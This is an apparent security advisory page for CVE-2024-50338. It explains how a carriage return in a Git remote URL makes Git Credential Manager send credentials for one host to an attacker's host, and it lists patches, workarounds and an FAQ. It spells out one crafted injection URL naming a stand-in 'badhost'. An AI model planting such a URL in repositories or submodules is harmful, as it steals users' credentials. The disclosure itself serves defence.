CVE-2024-50338: Carriage-return character in remote URL allows malicious repository to leak credentials in Git Credential Manager
Description The Git credential protocol is text-based over standard input/output, and consists of a series of lines of key-value pairs in the format key=value. Git's documentation restricts the use of the NUL (\0) character and newlines to form part of the keys[^1] or values.
When Git reads from standard input, it considers both LF and CRLF[^2] as newline characters for the credential protocol by virtue of calling strbufgetline that calls to strbufgetdelimstripcrlf. Git also validates that a newline is not present in the value by checking for the presence of the line-feed character (LF, \n), and errors if this is the case. This captures both LF and CRLF-type newlines.
Git Credential Manager uses the .NET standard library StreamReader class to read the standard input stream line-by-line and parse the key=value credential protocol format. The implementation of the ReadLineAsync method considers LF, CRLF, and CR as valid line endings. This is means that .NET considers a single CR as a valid newline character, whereas Git does not.
This mismatch of newline treatment between Git and GCM means that an attacker can craft a malicious remote URL such as:
https://\rhost=targethost@badhost
..which will be interpreted by Git as:
protocol=https host=badhost username=\rhost=targethost
This will instead be parsed by GCM as if the following has been passed by Git:
protocol=https host=badhost username= host=targethost
This results in the host field being resolved to the targethost value. GCM will then return a credential for targethost to Git, which will then send this credential to the badhost host.
Impact When a user clones or otherwise interacts[^3] with a malicious repository that requires authentication, the attacker can capture credentials for another Git remote. The attack is also heightened when cloning from repositories with submodules when using the --recursive clone option as the user is not able to inspect the submodule remote URLs beforehand.
Patches https://github.com/git-ecosystem/git-credential-manager/compare/749e287571c78a2b61f926ccce6a707050871ab8...99e2f7f60e7364fe807e7925f361a81f3c47bd1b
Workarounds Only interacting with trusted remote repositories, and do not clone with --recursive to allow inspection of any submodule URLs before cloning those submodules.
Fixed versions This issue is fixed as of version 2.6.1.
[^1]: The = character is also forbidden to form part of the key. [^2]: Carriage-return character (CR, \r), followed by a line-feed character. [^3]: Any remote operation such as fetch, ls-remote, etc.
Other sources
Git Credential Manager (GCM) is a secure Git credential helper built on .NET that runs on Windows, macOS, and Linux. The Git credential protocol is text-based over standard input/output, and consists of a series of lines of key-value pairs in the format key=value. Git's documentation restricts the use of the NUL (\0) character and newlines to form part of the keys or values. When Git reads from standard input, it considers both LF and CRLF as newline characters for the credential protocol by virtue of calling strbufgetline that calls to strbufgetdelimstripcrlf. Git also validates that a newline is not present in the value by checking for the presence of the line-feed character (LF, \n), and errors if this is the case. This captures both LF and CRLF-type newlines. Git Credential Manager uses the .NET standard library StreamReader class to read the standard input stream line-by-line and parse the key=value credential protocol format. The implementation of the ReadLineAsync method considers LF, CRLF, and CR as valid line endings. This is means that .NET considers a single CR as a valid newline character, whereas Git does not. This mismatch of newline treatment between Git and GCM means that an attacker can craft a malicious remote URL. When a user clones or otherwise interacts with a malicious repository that requires authentication, the attacker can capture credentials for another Git remote. The attack is also heightened when cloning from repositories with submodules when using the --recursive clone option as the user is not able to inspect the submodule remote URLs beforehand. This issue has been patched in version 2.6.1 and all users are advised to upgrade. Users unable to upgrade should only interact with trusted remote repositories, and not clone with --recursive to allow inspection of any submodule URLs before cloning those submodules.
— MITRE
GitHub: CVE-2024-50338 Malformed URL allows information disclosure through git-credential-manager
— Microsoft
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2024-50338?
CVE-2024-50338 has a moderate severity level due to its potential for information disclosure.
How do I fix CVE-2024-50338?
To fix CVE-2024-50338, update to the latest version of Visual Studio 2022 or Visual Studio 2019 as specified in the security advisory.
Which versions of Visual Studio are affected by CVE-2024-50338?
CVE-2024-50338 affects Visual Studio 2017 versions 15.9, Visual Studio 2019 version 16.11, and multiple versions of Visual Studio 2022.
Is there a specific package that needs to be updated for CVE-2024-50338?
Yes, the Git Credential Manager package should be updated to version 2.6.1 or newer to mitigate CVE-2024-50338.
What type of vulnerability is CVE-2024-50338?
CVE-2024-50338 is a type of information disclosure vulnerability that affects the Git credential protocol.